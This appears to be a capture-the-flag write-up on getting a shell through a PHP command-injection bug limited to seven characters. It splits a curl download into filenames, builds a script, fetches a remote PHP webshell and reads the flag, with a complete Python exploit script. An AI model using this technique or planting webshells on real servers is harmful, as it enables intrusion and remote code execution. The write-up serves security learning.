A tiny shell

A short code review, but I spend more than 40 hours to figure out the solution…

Getshell in 7 words

<?php
    show_source(__FILE__);
    echo "Enjoy the short shell";
    echo "<br>";
    if(strlen($_GET[1])<8){
            echo shell_exec($_GET[1]);
    }
?>

The above is a simple program, and we could inject something in the parameter of ?1= to getshell.
However, the biggest challenge is how to getshell in 7 words?
We need to put our webshell onto the server first, and there are two ways:

  1. Write my shell onto the server
    In the step, I learn that we can use simple command >a to write a file.
    but, it must be impossible for me to echo system($_GET[]) > a to write into the file.
    Therefore, here is a trick: Create filenames which are the commands you need -> ls>a -> sh a
    We can even separate command into multiple lines because new line \ won’t prevent the shell script from running
    // ./script
    ls>\
    a
    // sh ./script
    // the command of ls>a still running
    

    so now I can try to separate my echo system($_GET[]) > a into several filenames … until I find that I cannot separate the word $_GET[] into different lines :sweat: then I fail. Now, we can only dump our remote webshell to the server!

  2. Dump my shell onto the server
    Again, I would like to separate my command curl -o 1.php ip into several filename, then I find:
    cu\
    rl\
    \ \
    -o\
    \ \
    1.\
    php\
    \ \
    ip
    

    success!
    Besides, there are still two problems:

    • ls>a but we need to control the order of ls. We could use ls -t to solve this problem.
    • There are other files in the server and would ruin the result of ls
      Personally, I stuck in this part for a long time …
      Until my friend gives me an idea: “How about create your own folder”
      ls our_dir>>a we can append the filename to file with >>, so we even don’t need ls -t anymore!
      With this idea, I finally solve the problem and write my own exploit:
import requests
def getshell():
    url = "http://server_ip:server_port/index.php?1="
    first = url+"mkdir n"
    print(first)
    requests.get(first)

    filename = [
        'cu\\',
        'rl\\',
        '\ \\',
        '-o\\',
        '\ \\',
        '1.\\',
        'p\\',
        'hp\\',
        '\ \\',
        'x\\',
        'x.\\',
        'xx\\',
        'x.\\',
        'x\\',
        'x.\\',
        'x\\',
        'x:\\',
        'yy\\',
        'yy'         
    ]
# xx.xxxx.xxxx.xxx:yyyy is the ip where your webshell put on

    for fn in filename:
        createurl = url+">n/"+fn
        requests.get(createurl)
        secondURL = url+"ls n>>a"
        requests.get(secondURL)
        lastURL = url+"rm n/*"
        requests.get(lastURL)

    downsh = url+"sh a"
    requests.get(downsh)

    phpURL = "http://server_ip:server_port/1.php?sh=cat flag.txt"
    response = requests.get(phpURL)

    if response.status_code == 200:
        print(response.content)
    else:
        print("[*] You fail!")

# also recommend you to remove your own shell to avoid others using

if __name__ == "__main__":
    getshell()

[Mistake]:
I also spend a lot of time on curl -o ip to download my own wenshell.
[Solution]:
We need to know that curl and wget all download index.html in default, so we just need to put <? system($_GET[]) into the content of index.html then we can curl it down!

This awesome trick is also used in Hitcon 2017 baby first revenge

Reference